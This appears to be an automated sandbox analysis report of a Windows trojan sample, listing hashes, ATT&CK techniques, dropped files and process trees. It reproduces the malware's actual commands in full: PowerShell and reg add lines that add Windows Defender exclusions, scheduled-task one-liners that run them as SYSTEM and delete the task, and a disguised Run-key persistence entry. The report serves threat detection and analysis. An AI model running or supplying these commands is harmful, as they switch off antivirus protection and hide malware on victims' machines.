c2b8c7ce137757de1beb368148237f1a9683893d4c29b9f62d23a06d09d4eb3b

Analysis

max time kernel
151s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/07/2026, 20:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
appstep.58680017.exe
Size 54.3MB
Sample260721-yxvrhatdrd
SHA256 c2b8c7ce137757de1beb368148237f1a9683893d4c29b9f62d23a06d09d4eb3b
MD5 b906739e99efe1667b0445b7379b815d
SHA1 88c2ee2e7b5b3622e24676da3c2c140cfc4cc62a
SHA512 1779ca60c06ccd1969b89a9518a0ac2d2a3e4722d0295e4d9759ed9f72e83a8ac61d9c4aa12127ec4be3ce8fcbcd53bd6961f72881b0ee3bb384486214693951
SSDEEP 98304:Ru19nmtLsx4qV5+uY2cQysL8kxEVv4vu7PErGCrC9ILrFMKQMYpTTDliJW9PgAK:AnnmtLsX5+um3nkSVveZYzvsyPgAK
TLSH
T18AC7F90676028DCAE06692B4145BBF91E3B9FD714AF1D36723F6272D1FEA34C4AA3144
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\L6XA1c = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
956	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5316	GIyC5L.exe
5784	GIyC5L.exe

Loads dropped DLL 2 IoCs

pid	Process
5316	GIyC5L.exe
5784	GIyC5L.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\L6XA1c\\GIyC5L.exe\""	GIyC5L.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2784	cmd.exe
4288	cmd.exe
3128	cmd.exe
4496	cmd.exe
4592	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	GIyC5L.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3328	cmd.exe
3412	cmd.exe
3040	cmd.exe
812	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3184	schtasks.exe
1400	schtasks.exe
3156	schtasks.exe
3852	schtasks.exe
2524	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
2180	appstep.58680017.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe
5316	GIyC5L.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	956	powershell.exe
Token: SeIncreaseQuotaPrivilege	956	powershell.exe
Token: SeSecurityPrivilege	956	powershell.exe
Token: SeTakeOwnershipPrivilege	956	powershell.exe
Token: SeLoadDriverPrivilege	956	powershell.exe
Token: SeSystemProfilePrivilege	956	powershell.exe
Token: SeSystemtimePrivilege	956	powershell.exe
Token: SeProfSingleProcessPrivilege	956	powershell.exe
Token: SeIncBasePriorityPrivilege	956	powershell.exe
Token: SeCreatePagefilePrivilege	956	powershell.exe
Token: SeBackupPrivilege	956	powershell.exe
Token: SeRestorePrivilege	956	powershell.exe
Token: SeShutdownPrivilege	956	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeSystemEnvironmentPrivilege	956	powershell.exe
Token: SeRemoteShutdownPrivilege	956	powershell.exe
Token: SeUndockPrivilege	956	powershell.exe
Token: SeManageVolumePrivilege	956	powershell.exe
Token: 33	956	powershell.exe
Token: 34	956	powershell.exe
Token: 35	956	powershell.exe
Token: 36	956	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 5316 wrote to memory of 956	5316	GIyC5L.exe	91
PID 5316 wrote to memory of 4288	5316	GIyC5L.exe	93
PID 4288 wrote to memory of 3184	4288	cmd.exe	96
PID 5316 wrote to memory of 3128	5316	GIyC5L.exe	99
PID 4288 wrote to memory of 2088	4288	cmd.exe	101
PID 5316 wrote to memory of 4496	5316	GIyC5L.exe	104
PID 4288 wrote to memory of 1420	4288	cmd.exe	106
PID 3128 wrote to memory of 1400	3128	cmd.exe	107
PID 4496 wrote to memory of 3156	4496	cmd.exe	108
PID 5316 wrote to memory of 4592	5316	GIyC5L.exe	109
PID 3128 wrote to memory of 3752	3128	cmd.exe	110
PID 4496 wrote to memory of 3880	4496	cmd.exe	112
PID 4496 wrote to memory of 1332	4496	cmd.exe	114
PID 3128 wrote to memory of 4620	3128	cmd.exe	115
PID 4592 wrote to memory of 3852	4592	cmd.exe	116
PID 4592 wrote to memory of 1728	4592	cmd.exe	117
PID 5316 wrote to memory of 2784	5316	GIyC5L.exe	122
PID 4592 wrote to memory of 3568	4592	cmd.exe	124
PID 2784 wrote to memory of 2524	2784	cmd.exe	125
PID 2784 wrote to memory of 3684	2784	cmd.exe	126
PID 2784 wrote to memory of 5312	2784	cmd.exe	129
PID 3328 wrote to memory of 3036	3328	cmd.exe	130
PID 3412 wrote to memory of 4160	3412	cmd.exe	131
PID 3040 wrote to memory of 3076	3040	cmd.exe	132
PID 812 wrote to memory of 5560	812	cmd.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe
"C:\Users\Admin\AppData\Local\Temp\appstep.58680017.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2180

C:\Users\Public\L6XA1c\GIyC5L.exe
"C:\Users\Public\L6XA1c\GIyC5L.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\L6XA1c\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4288
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\L6XA1c\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3184
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3156
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2524
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5312

C:\Users\Public\L6XA1c\GIyC5L.exe
"C:\Users\Public\L6XA1c\GIyC5L.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5784

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1112

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\L6XA1c" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\L6XA1c" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3036

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4160

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3076

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:812
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 2ec8a11bbff465fcd7d5ce0067d9ac59ec6ccd758a7d55cccec94bd9652e2f9a
MD5 5ee46c16d61bcceb5ff5f5da3acb3801
SHA1 a440a8da069ddbd20b77486287cac855b2bbe16f
SHA512 11fd42b1d97801fe790c39c609dea0bef3a37233bee3b40a90706b7bb756a5b367a5cbe7290f1e27d0ab119aa2faa6e0db4b6243db186ad0dff4192d7a35e04d
TLSH
T16E21C69A4DB23990FF835F8637C0C83A6EF36BC29DFE514A623958D541403653B6550D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 0887c86b38370d50547353c120bbad0ff2f288aa0097bc758d60eab33bd9312d
MD5 afc407a217c6d7a3eea631162c937e73
SHA1 0e57ac20b2e73f4205b86d1e0f6c93dc92688569
SHA512 60dcf770549b21829440e2a44a6953e4678315521c6079d19d46f536b14fcfa516e0448bb764fc0d76e28b91a54e27f9d0c20cfbee0702be049522748d5f73cc
TLSH
T18121B34B8BFD4C846E069C860ADCE6B63CB183D810CC041CE14BE6346C223AA9F6239D
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 627daa78653ca8274476fd1b97925773d989df438086cdad5b260c0bd6e8cd20
MD5 bd77336831d01c003bba4acfcacc481d
SHA1 7aa286d5b431747f7d3070ffe6be8a5a21e64ee5
SHA512 cb5ae155bc7fc6f37dbe72ee4da22913a3fef116d835bf8fe0700bb417b236b504bae63ac8f4c7e9a5cb9c6b8e2c4f2efc0bf9a065d6b045020c2876aa1642b3
TLSH
T169F05C2C45BD413EF136C93D5ACF76A28B7FE706340442A423E4870DA946F062C51539
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 4ffd837078a4501e8312ce32a31eb3c6c6b6d3b247ebd8349e93bf6c7b413553
MD5 71c60a705d3aaa928a4985ca0b1d278f
SHA1 02c3498cfcbfa4ff850db84ff8cd6f25097cc5ee
SHA512 a9e290c892ceb678aa62008a6d9f2699b6cb556e3cb4c80cddfdc72b84a34d4960f111f1435ed453ed5628bc299397a85cf81e0be87f4fd5fb08164b8da543b8
TLSH
T1A5F05C28B8FC6078F175CB7851E722F1BE6BB923240506FF06E647186B41D507C8563E
MD5 SHA1 SHA512 TLSH

Submit Download

GIyC5L.exe

Path C:\Users\Public\L6XA1c\GIyC5L.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\L6XA1c\UxEnhance64.dll
Size 3.1MB
SHA256 ecca30997248ffb14dda3da76d99ccad0b27a12b5512e114da0a617022898991
MD5 455a5d8fb51694ee926a872c2fa31d1e
SHA1 0da1622434dd1b69d4ec4bbc4773cb70c92ff1dc
SHA512 ee9770e0d8eb0d966ad75ffb52e071d4a4af99e98b3d467d6bb135c58a7c95c044a06b35ee92a933a735392858e91e6060fbc75548e189f452fef9bf54fdf41f
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+g:P9m29xx3Tiqt06ox6+z2rNNrKog
TLSH
T10DE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\L6XA1c\adoresd.dat
Size 4.8MB
SHA256 519ee14c107d7e7878a5407e44d4dcac866943d825f7490249eda937c8ce0c22
MD5 ac28f25a70d0fbe9ea7d71e68b77dc6a
SHA1 3ee2e48dccd9b7d8ed56b03c8f313995170f9549
SHA512 b3f95723e4494cf992a742a621077449b010f47e3a29eb863afbbb22cb06822d7a96ae43ecc2843f21d1b66ec1f7b6a802149b07adec0ff356964841dbf062a2
SSDEEP 98304:3uZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:gQDPnORb7AdPEm7Y7ltlVgxs
TLSH
T130363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\L6XA1c\msadox.tb
Size 8KB
SHA256 7b25298036ebf3c2ef5ccc6a2fe416a86a6d408a3d2a322ffa77d3aff12550b4
MD5 18c6a5f5dca86da39223b20fee2e34e6
SHA1 511dd6c3ec35d9f9f6c580409d4b4e6d01cdceaa
SHA512 33c865ac5ec52c241e7fd7d1341b95bede20d0da4e8786d0e3a74b4242f9b78052d2aea4065d7bc919b7888035e42ee5919564af18d39468b0112b42e721961d
SSDEEP 192:KqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:KsZqZOXQ3uqvR2Kfzp
TLSH
T158029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072ED2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/956-604-0x000001B7B1610000-0x000001B7B162E000-memory.dmp

Download

memory/956-605-0x000001B7B18A0000-0x000001B7B1952000-memory.dmp

Download

memory/956-606-0x000001B7B14B0000-0x000001B7B14BA000-memory.dmp

Download

memory/956-600-0x000001B798F50000-0x000001B798F72000-memory.dmp

Download

memory/2180-524-0x00000000005B0000-0x00000000005BD000-memory.dmp

Download

memory/2180-0-0x00000000005B0000-0x00000000005BD000-memory.dmp

Download

memory/2180-525-0x00007FFFB4EA0000-0x00007FFFB4EB2000-memory.dmp

Download

memory/2180-504-0x00007FFFB4EA0000-0x00007FFFB4EB2000-memory.dmp

Download

memory/2180-2-0x0000000005640000-0x000000000564B000-memory.dmp

Download

memory/2180-1-0x00000000005B0000-0x00000000005BD000-memory.dmp

Download

memory/5316-560-0x00000194ED590000-0x00000194ED61A000-memory.dmp

Download

memory/5316-539-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-556-0x00000194EBD00000-0x00000194EBD4E000-memory.dmp

Download

memory/5316-557-0x00000194ED590000-0x00000194ED61A000-memory.dmp

Download

memory/5316-546-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-559-0x00000194ED590000-0x00000194ED61A000-memory.dmp

Download

memory/5316-558-0x00000194ED590000-0x00000194ED61A000-memory.dmp

Download

memory/5316-563-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-565-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-567-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-544-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-545-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-543-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-550-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-530-0x00007FFFC0CD0000-0x00007FFFC0CD2000-memory.dmp

Download

memory/5316-531-0x00007FFF9E130000-0x00007FFF9E64E000-memory.dmp

Download

memory/5316-536-0x00000194EE0A0000-0x00000194EE95E000-memory.dmp

Download

memory/5316-538-0x00007FFFC0CE0000-0x00007FFFC0CE2000-memory.dmp

Download

memory/5784-589-0x00000199F8390000-0x00000199F8C4E000-memory.dmp

Download

memory/5784-591-0x00007FFFC0CD0000-0x00007FFFC0CD2000-memory.dmp

Download

memory/5784-590-0x00000199F8390000-0x00000199F8C4E000-memory.dmp

Download

memory/5784-588-0x00000199F8390000-0x00000199F8C4E000-memory.dmp

Download

memory/5784-587-0x00000199F8390000-0x00000199F8C4E000-memory.dmp

Download

memory/5784-582-0x00007FFFC0CE0000-0x00007FFFC0CE2000-memory.dmp

Download

memory/5784-583-0x00000199F8390000-0x00000199F8C4E000-memory.dmp

Download

memory/5784-580-0x00000199F8390000-0x00000199F8C4E000-memory.dmp

Download

memory/5784-574-0x00007FFF9E130000-0x00007FFF9E64E000-memory.dmp

Download